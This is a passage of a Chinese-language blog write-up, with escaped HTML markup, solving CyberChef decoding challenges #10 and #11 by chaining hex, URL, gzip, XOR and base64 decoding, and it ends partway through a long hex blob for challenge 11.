&lt;section&gt;&lt;h2&gt;#10 Hexadecimal &amp;amp; URL &amp;amp; Gzip &amp;amp; XOR &amp;amp; Base64&lt;a href=&quot;#10-hexadecimal--url--gzip--xor--base64&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;25:31:46:25:43:32:25:38:42:25:30:38:25:30:32:25:43:33:25:41:30:25:43:33:25:42:45:70:25:35:45:25:30:30:25:43:33:25:42:46:25:30:38:25:43:32:25:39:46:25:32:35:25:43:33:25:38:44:4d:6e:25:43:32:25:38:33:30:25:31:34:25:43:32:25:38:35:25:43:33:25:39:31:25:32:44:25:31:30:25:43:32:25:42:42:25:30:43:25:31:38:74:31:25:31:38:25:32:41:25:33:46:25:43:32:25:38:33:25:35:44:25:43:32:25:39:30:25:30:38:25:32:31:65:25:31:36:25:43:33:25:39:33:25:43:33:25:39:36:25:43:32:25:39:30:25:30:32:25:31:31:25:33:46:25:30:31:25:43:33:25:42:43:56:25:31:46:4b:25:43:32:25:39:44:25:35:45:25:43:33:25:41:39:25:43:32:25:39:45:6f:25:32:32:41:25:43:32:25:38:39:25:43:33:25:42:34:25:30:45:71:25:43:32:25:42:42:25:31:35:25:43:33:25:42:36:25:43:32:25:39:38:73:46:25:43:33:25:42:43:25:43:32:25:42:41:6f:25:43:32:25:42:34:25:43:33:25:38:46:25:43:33:25:41:38:25:43:32:25:39:33:25:43:32:25:38:37:25:43:33:25:41:36:25:43:32:25:39:37:25:43:33:25:41:30:25:43:32:25:41:32:25:31:33:46:4e:25:31:35:33:25:43:32:25:39:42:25:43:32:25:38:37:25:43:33:25:42:42:25:43:33:25:38:34:25:32:37:25:32:41:25:30:35:25:31:45:25:43:33:25:42:37:25:43:33:25:41:46:25:43:33:25:39:30:6c:25:43:32:25:41:41:33:63:66:25:43:33:25:42:37:6b:25:43:32:25:38:31:25:43:32:25:42:42:25:43:33:25:42:46:25:43:32:25:38:39:25:43:33:25:38:42:25:32:44:25:31:39:25:43:33:25:39:36:25:31:42:34:25:33:43:25:37:46:25:43:32:25:38:36:25:43:33:25:41:36:25:43:33:25:38:39:25:32:44:25:30:39:52:25:43:33:25:42:37:55:25:43:32:25:38:43:76:25:33:43:36:25:43:32:25:39:30:47:25:35:46:25:33:41:71:25:35:45:25:43:33:25:41:31:25:43:32:25:39:43:25:31:32:25:43:32:25:38:39:25:43:32:25:42:33:25:43:32:25:38:46:25:43:32:25:38:31:25:43:32:25:38:46:25:43:33:25:42:35:25:43:32:25:39:43:25:43:32:25:41:32:25:43:32:25:42:32:25:31:45:25:43:32:25:41:41:25:43:33:25:41:39:25:43:32:25:38:43:25:30:36:25:43:32:25:38:35:25:31:35:25:43:32:25:39:45:67:25:30:39:25:43:33:25:38:41:25:37:45:25:30:35:25:43:32:25:38:35:6b:7a:25:37:45:25:43:32:25:41:43:25:31:32:25:31:45:6b:54:25:30:46:25:43:33:25:38:41:25:43:32:25:39:32:25:43:32:25:39:31:25:36:30:25:43:33:25:39:41:25:43:33:25:42:33:25:43:33:25:41:43:6f:33:25:32:30:25:33:42:25:43:33:25:41:33:25:43:33:25:38:42:25:43:32:25:38:46:76:72:25:30:44:25:30:30:66:25:43:32:25:41:45:25:43:32:25:39:32:25:43:32:25:41:39:25:43:33:25:39:38:6d:25:32:33:30:25:43:32:25:41:31:25:43:33:25:38:35:25:37:46:25:43:33:25:39:33:35:25:31:41:25:30:44:71:25:43:32:25:41:33:25:43:32:25:42:33:25:43:32:25:42:38:25:43:32:25:39:44:25:43:32:25:41:42:25:43:32:25:41:38:25:43:33:25:38:45:25:32:45:25:33:44:25:43:33:25:39:35:25:31:30:25:43:33:25:39:31:59:5a:25:32:35:25:43:33:25:38:42:25:35:45:25:43:32:25:38:44:25:31:37:25:43:32:25:42:36:25:30:34:25:43:33:25:39:35:25:43:33:25:42:45:73:25:43:33:25:39:32:61:25:43:32:25:38:32:25:33:42:25:32:45:6f:25:43:33:25:41:46:25:32:46:25:43:32:25:38:44:67:4b:67:25:30:38:25:30:31:25:30:30:25:30:30&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;冒号分隔的数字，看起来像是十六进制，转换之后可以发现大量的“%”，再URL解码一次：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;267&quot; src=&quot;/_astro/image-20260306001706537.CPcRG4Ux_dYuxJ.webp&quot; /&gt;&lt;figcaption&gt;image-20260306001706537&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;分析文件类型可以看到是Gzip：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;File type:   Gzip&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Extension:   gz&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;MIME type:   application/gzip&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Gunzip解压之后发现有大量不可见字符，XOR暴力破解搜索“Congratulations”没有结果。&lt;/p&gt;&lt;p&gt;但是在XOR遍历中发现了一条可能是base64编码的结果：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1803&quot; height=&quot;532&quot; src=&quot;/_astro/image-20260306002247917.BgTkqtql_ZvU1Ew.webp&quot; /&gt;&lt;figcaption&gt;image-20260306002247917&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;XOR20之后再base64解码就可以得到结果：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #10!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is 74dff4fd-dfbb-4cfe-8fe9-99a9732f67fd.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/pXMAj6Ve.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipr: From Hex —&amp;gt; URL Decode —&amp;gt; Gunzip —&amp;gt; XOR(key=20(HEX)) —&amp;gt; Base 64&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;11 Hexadecimal &amp;amp; Rotate right &amp;amp; PNG&lt;a href=&quot;#11-hexadecimal--rotate-right--png&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;c4 28 27 a3 86 05 0d 05 00 00 00 86 a4 24 22 29 00 00 01 b1 00 00 80 90 04 03 00 00 00 99 58 d3 c3 00 00 10 00 a4 22 a0 2a 3c 2f 76 de 81 4c 36 dc fb fe ce d8 b6 ed 7d 47 b6 ed 5b b6 ed 5b b6 ed 5b b6 ed 5b 9e f9 1f cf 7e 6f ea ff 6e 99 f3 2a f2 3a aa ef 77 bd bd f2 bc 73 cc ed aa 93 93 9d 95 9d 9d 95 bd f7 52 03 7c fb ef bf ff 86 17 23 60 04 0c 80 91 30 02 46 40 88 18 01 ee 41 60 00 13 b1 ee 41 dd 8d 9a 01 23 60 04 0c 80 91 30 02 46 20 22 60 32 66 45 30 02 46 40 88 18 01 23 60 04 0c c0 37 22 60 32 56 8d e0 bb e9 23 60 04 0c 80 91 30 02 46 40 88 18 8c d9 07 0c 80 91 30 02 46 40 88 18 01 23 50 8d 88 18 8c f5 23 78 ee 5a 88 18 01 23 60 04 0c 80 91 30 02 26 63 56 81 23 60 04 0c 80 91 30 02 46 40 88 74 23 02 26 63 5d 88 3e 9b b6 02 46 40 88 18 01 23 60 04 0c 80 c9 98 f5 40 88 18 01 23 60 04 0c 80 91 30 02 5d 88 80 c9 d8 37 02 ef a6 8d 80 91 30 02 46 40 88 18 01 23 60 32 66 1d 30 02 46 40 88 18 01 23 60 04 0c c0 37 22 60 32 56 8d e0 bb e9 23 60 04 0c 80 91 30 02 46 40 88 18 8c d9 07 0c 80 91 30 02 46 40 88 18 01 23 50 8d 88 18 8c f5 23 78 ee 5a 88 18 01 23 60 04 0c 80 91 30 02 26 63 56 81 23 60 04 0c 80 91 30 02 46 40 88 74 23 02 2d 13 b1 8f 3f 7c b0 7c f6 db ef 61 5c f1 47 8d 03 8d 36 58 37 76 45 cd 1b 01 23 60 04 72 90 78 f6 db ef 43 c7 9f 7f 1c 6d d6 b0 c3 8e 1b d7 29 87 3d 55 dd 72 ff f2 cb af 61 ad b7 de 8a 23 0f bc 72 18 73 4c b1 7b 10 22 7d a7 a8 3f 7e f8 e3 78 63 8d b7 42 e4 93 cf 1e 06 9a 6a 28 f0 eb af bf 86 d7 5e 79 25 4c 38 61 84 e1 04 91 46 78 cf 27 ff f9 e7 9f c0 98 0d 3d 74 d0 95 80 fc f9 e7 9f e1 af bf fe 8a 43 0c 31 44 7f 89 5a 3f 5a ab ce 11 b1 a7 9f fe 3a 1c f5 56 d9 61 8e bb 6e 88 6f bc f3 ce 47 57 d7 db 6f 3d f0 60 81 87 06 b1 c7 9e 3b 9f 05 e3 ff 89 8d b2 9e f9 66 99 e1 45 95 57 0c 23 8e ba 6a 2d fe e0 5c a7 18 e0 02 f0 fc f3 cf d7 aa d7 56 e6 e8 23 8d 96 27 56 db ef 3f dd 6b dd 3d f9 e1 63 56 b5 a3 bf ca aa 2b 84 ab 2f bc b2 7c 7d f5 d7 e1 44 91 47 2c d5 98 36 63 48 a1 07 8c 73 4d b5 57 2d fa 55 0f 2f b0 c2 8a 61 da eb 2f 8d 3f 7c f0 c3 18 66 18 e1 1a 3e f3 b3 cf be 0b 47 9d 77 5c 38 f3 ce bb 43 b3 4f bc 53 f1 ec dc f3 4f 9d 0e b8 62 88 b0 5b ec 33 d5 92 e9 1d f5 56 89 17 5e 78 61 78 f4 d3 cf 43 e8 a3 8f de 2b ee 67 1e 2e a3 3f 36 f8 fc f3 cf 8f 84 b3 dd 24 e9 37 dd f6 0b 07 9f 7e 78 14 1d 1b f8 f9 e7 9f f7 26 9b 21 dd b2 95 75 b1 95 7d ec d4 07 ba b0 d2 85 17 5c 10 56 dd 77 5d f0 da eb 2f 85 c9 a6 1b ac 5c fa 6b ad e1 09 a5 16 88 0f 3c 70 c0 40 6f 0b e5 23 8d b6 0a 67 1f fd 76 65 fc 00 dc b1 77 f0 1c bc 71 c4 93 7d 54 5f fb 6f bd c3 c1 07 1d 14 36 de fa 6b f0 42 89 27 74 61 2f fc ea b2 04 6a 13 b1 0c e9 a2 8b ae 1a 5f b5 5f fc 73 85 f9 e7 9f bf 7a 46 ee 3f fd f6 e8 60 a6 9c f2 4a f0 e4 93 cf 46 03 db af 17 9d 76 58 a1 1c 7b 6c b1 f1 17 38 51 c4 13 55 ea ca 80 03 0c 10 26 9d f6 5a da e4 2c ac cd d9 e7 1f bd 0c 32 48 a0 71 72 b9 e4 a1 60 32 16 87 d3 67 1f da 69 25 95 c2 d5 d7 5f 1d 3e fa ea ab b0 52 c8 23 65 3f e6 fa eb af 8f 4b ad 37 dc 24 09 10 19 f6 14 5e c7 fb 3f ff fe fb 86 9e 2e f7 5f fd 37 2c 34 d0 c2 71 73 c8 dc e4 df f8 77 6e bd f7 de c8 4e a8 2f be fa ea 74 c0 64 96 b5 57 dc 33 5c 72 49 a5 6d 25 3c 55 6d 57 95 df 44 71 a3 8f be 0a 63 0d b5 56 6e 17 aa 1f fb 73 cd b7 43 a4 93 ce 1a 49 58 ee bb ef 9e 46 9b 6f 3c b0 fc f2 cb f7 6a bd ed 96 ad a8 8f 9d d5 cf ce 75 26 8b ab 6d 3e f9 e6 e1 e2 8b af 0e 5f fd 77 dd 18 70 40 81 43 fe 7b ed 97 76 df ff 7f f0 d3 cf 3f 45 4f 19 ca 9f 7f 7c 91 3f 3f 64 90 c3 62 c7 65 1b 93 66 ab 58 c3 68 e6 1e f9 66 ff 90 b1 bd 77 dc b3 56 df ea 2b ad c2 89 a7 1e d8 c5 bd 73 eb 8b 88 54 a2 63 29 11 43 eb 83 d1 4b 4b f1 c7 9f 1f 36 db ee 3b b0 e1 86 9b 46 4f d9 3f dc 18 84 27 9d f6 5a 5f 25 63 2d b4 d9 af 63 5d ee 59 cd 46 da 8d e8 1f ef eb ec e2 77 59 e5 17 85 d5 d7 5f 3d af 93 b1 08 49 8c b3 4e 98 3e f8 e2 8b f0 4e b9 67 84 f5 d7 df 3f 8f 8e 3d 76 d8 e3 01 cd 4f 5d 8d e4 5f a2 63 1d 91 bf dd 84 87 52 ba c0 82 0b 04 bd f6 da ab 46 3f 5a 29 6d 96 ad ff 26 63 53 4d 35 55 74 06 5c f0 43 8d 11 72 c5 16 59 24 7a 24 89 ce 29 dc f8 63 8d f1 5d cd 23 d4 29 19 23 2c 09 39 82 c8 e1 99 23 98 8c b5 a2 c1 dd 53 37 96 19 43 8b 76 5f fd 77 c5 dd a0 46 35 d8 7e fe fb ef f8 b9 71 ec 58 36 c2 86 78 75 60 5c 8f bc 72 c8 0c d3 63 78 f6 d9 e7 1f b0 43 8c 33 74 3c 82 9d 2e 0a b7 4b ac 33 c4 17 29 5e b5 42 7d 1b 6c 30 c1 58 e6 1b ed 02 5e a6 15 42 92 18 76 18 3e 3b 59 ad 36 d8 a2 3c f0 c2 8b 61 bd f7 de 8b 57 dc 73 4d 7c 6c 19 e5 16 89 53 cf 3f 7d 20 06 8e 49 44 b5 0b a7 8b 57 2f 75 4f bb 6f bc f0 ec b3 cf c6 98 3c 6f d8 79 65 95 c3 f6 db ef 1f 06 1e 78 60 e8 a6 e5 77 8e e2 a2 63 82 8b 2e 18 43 98 38 87 d9 68 cf bd 77 dc be 3a ce 84 21 77 c4 04 34 cc b3 56 d9 b6 09 43 e0 99 3b fc f2 cb bb 5a ec 27 1e 9f 7c 70 c1 34 30 f8 36 41 82 b1 60 2c 76 5c f1 47 88 c5 6e 21 04 f1 d0 c3 0f 05 b3 4e b8 23 2e 6a 2a 04 de 17 da 6a 29 b0 4a a8 23 c4 90 8e 25 47 7e dc 2c cb e4 93 19 63 3c 99 37 74 03 fe 2d b5 d6 da 61 4b ad 37 ec a3 ca 33 f1 61 71 e6 bf 74 95 f1 4e 0b 0b ba 61 e3 db ee 3b ad 7a 02 bf fc f2 cb f8 dc bd 77 dc 93 43 57 10 00 5a e3 31 e8 56 48 bd c4 e0 32 0e 78 41 10 f7 17 dd 76 69 c3 fb 80 b1 c5 a0 b2 b0 62 89 62 fd 9b ee 3a e9 58 6d 35 d5 ba 5e 4f 18 81 f1 60 3e 9d 70 40 81 51 16 74 fb 33 cd b6 0b a4 64 e8 a3 8f 8e e3 c0 1b 73 4c b1 47 1c 9b 4c 89 0a 75 79 37 75 e8 87 73 10 e7 70 80 ec 32 c9 a6 1d 73 30 8c 8c b5 6b bb 73 06 f7 d3 87 6c 83 73 85 b6 a8 4d ea aa f3 78 5e cf 3f 7d f4 f0 5d f5 57 c5 2f d6 da eb 2f 9d 6d 0a 0b d1 23 4f 98 64 81 fe d0 87 6a 97 95 7a cc 48 0f c5 0d 7d 61 2c 18 3b a2 9d e3 4c 68 13 c5 91 3b 01 ad 44 cb 48 f3 ac 10 e0 0d 59 a0 ee 6a 33 f2 7a 88 8c 10 43 42 4d 5b ee 3b ed 74 c2 71 99 7d ae a3 7f 94 53 4c 11 65 60 1c d1 a7 93 ce 3a 29 5a ed b1 46 98 23 5a b0 c3 0f 3d 34 0c 3e 78 e0 9d 30 34 13 8d 0f 8b 7d a4 77 09 94 14 3c e2 68 d1 ac b3 ce da 0a e5 33 5d 2e a3 5b 83 8f 3e 18 6d f6 cb af 3f 9c 5b 87 13 6c 62 c1 87 1f 5c 91 22 4f a1 63 4d fa a8 7d e7 6e 9c 73 4c b1 51 a6 5e f5 57 dd 51 ee 09 33 b4 0f 0b b1 41 de b3 76 fc 4e 68 74 12 c9 26 09 b6 82 5b 2d 6f 64 4e 3b c5 10 19 a7 58 94 4a c3 8f 3f 1c 57 d1 39 3e 52 bf e9 1b 5b 37 4e b8 63 c4 7d e7 2e 73 d9 cd b7 5f dc 87 e7 0c b9 ce 9c e3 bf 74 62 4e b9 67 ac 25 63 07 9d 76 58 74 fa 62 4b d1 91 17 be 8b c0 36 19 23 29 50 6e 51 9f ff 7e b9 3b 0c 09 39 22 6f 8a b2 c6 9a 6b 44 c4 c1 ab 2e b8 a2 7e fd 53 cd 37 05 a5 17 dc 32 7e 9b 25 e2 67 ca 61 42 b1 d0 c0 36 a8 27 9e fa 6a 5c 4c 28 28 1a 0b bb 0a 4a fb 71 1f a3 a0 aa a7 bc 06 72 b6 b4 8b 10 24 b8 e9 4f 39 65 94 e8 58 a8 bf f8 e2 8b c7 b6 31 54 14 16 6e 9d f7 5e b9 2e 78 44 dd d9 91 92 12 9d f7 5e f9 23 92 d6 05 9f 79 9c 52 a6 dd ca 71 b9 2d 06 1d e9 33 e8 e5 e9 27 1e 8c 85 0b be 46 0e fc 83 76 60 37 dc f2 4b 44 84 02 4c e4 ce ad 18 21 3c 22 e4 9d 30 80 a8 c8 9b aa 9d 75 2e fc b9 d8 17 c9 97 ea 92 44 90 7d 52 98 33 2e 90 7c 4a 4e b8 bc 75 d4 d3 51 f0 41 56 a5 b7 d4 85 d4 00 97 7a 81 e1 fc e4 93 cf 22 79 87 3b 16 2c 08 9b 7a cd df 98 39 dd 77 5d b5 92 4a 12 b1 c9 d7 62 1c 78 5f f0 43 8d 57 d1 96 44 e0 1a e9 26 89 fa 4e 18 88 c2 b3 18 7b 72 b6 d0 f1 74 53 61 89 2d 74 68 9a 6f e1 43 43 82 c6 41 5f 99 d3 68 aa 29 85 24 02 27 fa 2b ba bc 4b e7 84 f2 a0 3e 48 c5 2e 95 04 01 d2 5c 7c f2 7a 8e ac c7 1e 79 64 24 78 3c 9b be dc 7a 69 a5 d9 b8 b1 c0 a3 ab f4 97 85 8f dd be 1b b2 15 c6 64 0c 8d 98 36 02 f0 24 7d 6a 56 5e 7f 7d f5 c8 2a 98 13 c7 1f 7d 34 e3 f1 46 89 9c 39 7d 2e 4f 98 0f 50 9f 52 b6 18 bf 58 8d 36 76 2c 6a 94 9c 7c 78 0e 62 c7 e6 a0 2d 3c 8f 62 d1 47 7e 6a a7 e3 09 fe a3 c3 d8 ce 0a 24 16 dc 24 dc 59 b0 83 0c 9f 32 30 1f a6 9e fa 6a b0 c7 9e 7b 04 e9 a6 9b ee bf 50 66 e8 f2 2e ec 10 a1 85 97 5e 38 c3 77 59 f0 c0 36 24 cb e0 53 26 8f 9d d1 cf 94 33 66 8e 7a 46 fc 01 9c c9 67 b4 a1 66 03 0b 06 7c 0e dd 20 80 8f 8a 73 75 62 89 a7 4e 9e 77 a2 08 cc e5 74 15 3d e1 6e b1 5f 58 4f b0 a5 4c d9 59 b4 64 e1 6c 21 05 ac 85 a4 74 e3 84 e0 73 12 fa 46 98 13 6c 11 7a c5 86 1b 5b da 66 99 63 23 c2 ba 4b 5e 20 1b 8e 17 be 8b c0 36 19 53 e2 c3 c2 03 e1 4c a9 18 48 58 3b 4a 1b 86 b5 59 d9 42 ce f9 17 4a 86 b7 cc 0b 68 be fb ee 9b 77 25 28 0d a6 23 44 01 6f 0a 71 72 25 23 b2 c8 0d bf 7e f8 e1 df ff 7f 8d 8b 1d 06 be 4d 2a 15 19 03 9c 70 9f 13 08 9d a1 09 b6 c8 c3 32 2c 6d 52 6e be fb ee e8 24 91 89 c9 c7 29 0b 19 66 92 04 f4 b9 48 6c 2b 6d 26 e4 2c dd f8 62 99 64 22 c3 4e 20 29 14 26 2e 3b 5f 46 84 4f 41 2e f7 4c 0b 15 63 0a 56 f2 8a 28 59 77 a5 97 de 0a e3 9d ab 8f 39 d8 17 e9 a1 f4 09 03 a2 84 e3 16 6e 76 54 98 2d ab ae ba aa 1e b8 4a 9d 17 3c 47 68 a9 7d 1c 7e 78 e1 e3 13 bc 97 9d 24 04 82 4f 94 92 67 51 b5 48 be 38 91 4e 40 d3 cb dc 81 13 7a de 56 54 37 25 3c 0f bf 7e f8 5c 74 d9 10 58 74 70 ce e2 e5 c2 f3 b8 f1 c6 9b 47 d7 e0 fd 63 fd ac 7e af 3e f8 e2 5c 20 34 d0 c1 0c 30 68 c8 f1 72 c9 a7 47 bc 10 0a 73 0a f7 11 e3 02 79 44 b8 e3 64 f1 80 28 ae 61 a8 5a a4 49 97 23 8e e1 a6 ff da 64 0a 8b dd 6e 5f cb c2 94 b9 f5 59 80 c1 26 20 73 ca d5 3a e8 a2 8b a2 31 a0 b4 22 63 52 87 f7 df ff 3f 7a 64 f2 0a 5e fb 3c d4 78 3e 71 a8 50 70 a6 e3 dd 24 7d 01 0f a4 c8 98 78 21 1b 5e a6 f4 4c d5 37 37 8f a2 63 10 10 7a c9 bb a0 5d fc c7 98 55 91 df 63 09 cd 63 4c 91 8d 1b 87 8d 04 ec 30 2e 94 dc 59 e4 23 35 e1 2d c2 b0 47 17 f3 65 43 a3 45 e6 81 ff 96 5b 6c 31 d8 a4 39 d3 3a 45 08 a7 1f fe 35 73 8c e5 f6 d1 72 31 67 98 d7 ec 66 18 e3 4c ff 56 8c 6c 06 76 11 59 70 b8 12 ab 88 79 a1 e0 a9 5d 76 59 e5 63 bf b5 4f 72 5b ad c2 d2 73 96 52 46 b8 c1 3e b0 b5 65 29 42 7a 07 e6 c9 23 83 2d 55 64 0c 42 49 c6 27 35 b1 39 73 45 cf b4 87 01 ec 32 46 22 3b 6e 58 ba 09 e9 90 28 3c ca 65 09 01 d2 7c 0c 1e 6e ee 19 4c 29 3c 5d c3 f3 43 08 8e dd 27 3b d5 65 f6 14 73 96 50 3c 26 4e 19 19 63 72 f2 9d 65 f7 df ff 0f 78 3a 50 46 42 af 2a 65 7d 6b 17 19 6b 35 cd 94 8c b5 9b 4f 39 af c1 8d 89 cf a2 00 56 60 06 19 a5 61 34 ce 51 e2 84 b7 01 22 01 87 15 17 3e bc af 75 64 ef 07 19 4b 17 68 79 76 25 cb 75 46 85 90 cc ce 3b 6d 94 3d 89 5a 7c c5 50 d8 a0 30 e3 17 56 45 a4 f6 79 5f 88 53 c1 4c 4b 8a 6f 82 73 a2 79 85 ec 30 1e 10 2b 46 83 59 b9 55 15 86 bf e4 91 e4 33 02 8c 9a d7 10 a9 16 15 0a 44 0d f9 1b ee 36 52 85 98 90 10 3b ed 55 c5 93 96 9e f6 04 a8 b3 b0 88 f8 26 8b 9f 1e a2 dc be 97 49 98 1b 29 9c ba c8 b5 50 c0 03 45 19 11 d5 05 fa f8 30 a0 0a b9 64 2c ce e9 cf 4e 52 13 56 cc 3d 84 22 44 84 9e 88 13 ca 5f f1 98 25 f6 84 6f bb 61 4a 16 35 70 4b e9 a3 3a a1 32 16 8e 9d 7d 15 ed 2c a3 7f 19 9e 70 ae 25 9a c0 4c 98 f7 b9 b2 e5 92 b1 e6 3a cc 24 04 be 92 2e 2b 76 b3 15 8d be 33 d9 64 4e 40 30 54 58 90 31 f1 26 4c 28 b9 d6 88 8c d5 d1 cf 61 46 5f 21 58 aa 22 5f 60 46 81 95 56 a4 a2 d7 94 e7 67 99 e7 1e e8 85 86 8c e1 b5 4f c5 b6 ca c6 c2 7c c1 c8 51 9e 1d e6 45 f6 0d 3a 68 a0 a5 d5 da 21 63 72 7e 10 01 10 c7 af 8e fd f7 b3 ad a1 10 cd 46 c8 87 13 97 84 12 84 f1 6c 56 70 1f b2 8b af 4b 1a c5 8b 00 ab 1f 85 07 23 a6 2f 55 71 b8 f4 4a 46 30 6e 6c c8 55 27 6d 1f 90 06 13 b3 0d 53 72 bd f6 00 fa 16 9c 32 76 5a 4c 38 76 18 78 6c 14 1e 4d 0d fd 3b c8 98 6d b6 d2 e6 5a ff f6 63 99 ae 48 c2 87 42 06 f1 43 b0 25 f9 25 4d c6 9a ef 89 57 c1 00 14 22 d1 ce 0e 9c 95 16 27 ba 72 b7 ca 46 90 a7 a8 cb 72 cc 49 b3 9b bb 2e 2c 08 78 75 94 12 c4 6f 7e f7 bf ff c5 5d c6 27 59 bd 4b e3 5b 3c 86 45 3a d5 0c 5f 8a 4f 48 9c 1e 8a 0c bf 3a 59 56 14 2a 4d 43 cb 7a 0e d0 f8 cc 33 4d d4 a1 0b 96 14 79 4a f8 4e 72 93 a6 40 c9 ac 15 1d de e5 0e 30 7f 54 37 c8 6c 64 c9 d6 2e 49 3a f8 e1 e1 4b ed fb 11 8c e5 e2 c6 a2 84 f7 0a 9c bf 65 9d 2a 8f 22 44 0d c8 98 c2 37 5a f8 e5 e8 b2 bc 3d b2 89 78 1f 51 9f 3c f2 4a cb 55 5b c5 2f 04 21 71 08 85 1e 7b 42 3b b9 f8 88 8c e9 9a 03 49 d9 99 79 b5 16 90 55 36 51 aa 72 d6 b0 91 43 f3 99 ab 5b 0e 19 4b d1 e5 64 c8 91 8d a8 87 05 42 06 c7 86 1d 05 88 a7 c9 6a cc ef 66 db 23 32 56 47 3f 25 17 bc 5b 42 cc 1f e3 37 18 6b 66 8a e6 fe 2a cb 58 bd 56 b5 6a 93 d2 93 8b ed 51 1f 69 97 1e b8 08 ab 1e 6b 3c 32 94 66 ff b7 5f fc 53 91 6e 06 23 e2 64 a2 95 32 26 3b 03 d7 af 98 9f 1b b3 67 7c cc 6b 08 64 13 b1 1a d1 6e c5 6a ba af 36 4f 3e 90 3b 08 14 13 fc 21 3c e2 29 c7 41 4f cb 85 2b 16 5e 75 02 2e 7d dc 04 2e ec 80 41 19 19 43 b5 8b c7 4d 45 07 0c 14 5f c7 d3 80 d7 0e dd 2d 64 ab 07 8c 95 77 67 a2 29 d5 39 63 2d b6 99 f6 df 18 b5 8b 4f 70 41 bb c0 0e 81 18 e0 f6 57 1e 9d 3b 3f 12 2c eb 90 32 48 3a 21 15 42 87 18 0d 42 82 bc db 77 b0 55 91 9f 32 16 83 f5 19 fa d7 69 d2 4a 46 ea 8c 8b 6d 28 64 22 bb 9e c8 83 3b ff fe fb e3 ee 58 1e d5 48 15 6e 7e b2 82 f7 0b 32 51 2c 04 a0 40 cc 61 c8 b2 ba 84 e4 c9 cf c1 a3 d0 3c 3c 22 ef b8 44 82 3e e5 27 55 c4 46 8a e4 2e 8a 8c 95 77 5e f2 c8 2b 6c 9b ae 7e 10 96 16 7b 9c be 97 49 d8 2e 6e 64 8f a2 8b 65 64 14 cd 99 04 b8 91 19 23 01 1d bc 50 b2 f9 23 3c 89 33 41 54 59 64 15 d7 36 ea aa ab c6 dc bd 30 46 eb 00 5e 04 bb b9 60 c2 11 19 63 41 c7 db 22 82 a7 8c 5b 09 19 03 fc e4 e2 a3 32 56 3c b7 ac b3 72 d7 1d d8 4c 49 98 73 b5 57 36 9c 32 16 a3 cb a9 19 2b 5e 3b 91 ca 86 51 e0 13 47 a1 09 0a 24 8b 5b 4d bc 62 f0 15 63 12 c3 46 ea e8 e7 15 66 29 19 23 cd 36 3f 65 07 c1 34 1f a0 63 14 dc 6c 0b f3 3e 4d a9 eb 34 bc f3 60 0d 94 92 b4 b4 c2 46 b4 1f 49 11 a0 7d c1 a5 ef a2 50 0b 8c f1 42 8e a4 d4 aa fb 48 52 9c a6 72 64 18 b0 28 07 06 90 dc 30 b4 e8 17 21 90 49 0e 19 53 5c 3e e8 e5 50 08 2a 98 26 ac 12 b1 5c 48 ac 1e 90 27 5e a5 93 2f 4c 30 72 87 94 42 c2 4e b2 4f 98 21 a2 e2 bb 35 e3 2e a2 63 2d b6 99 e2 a2 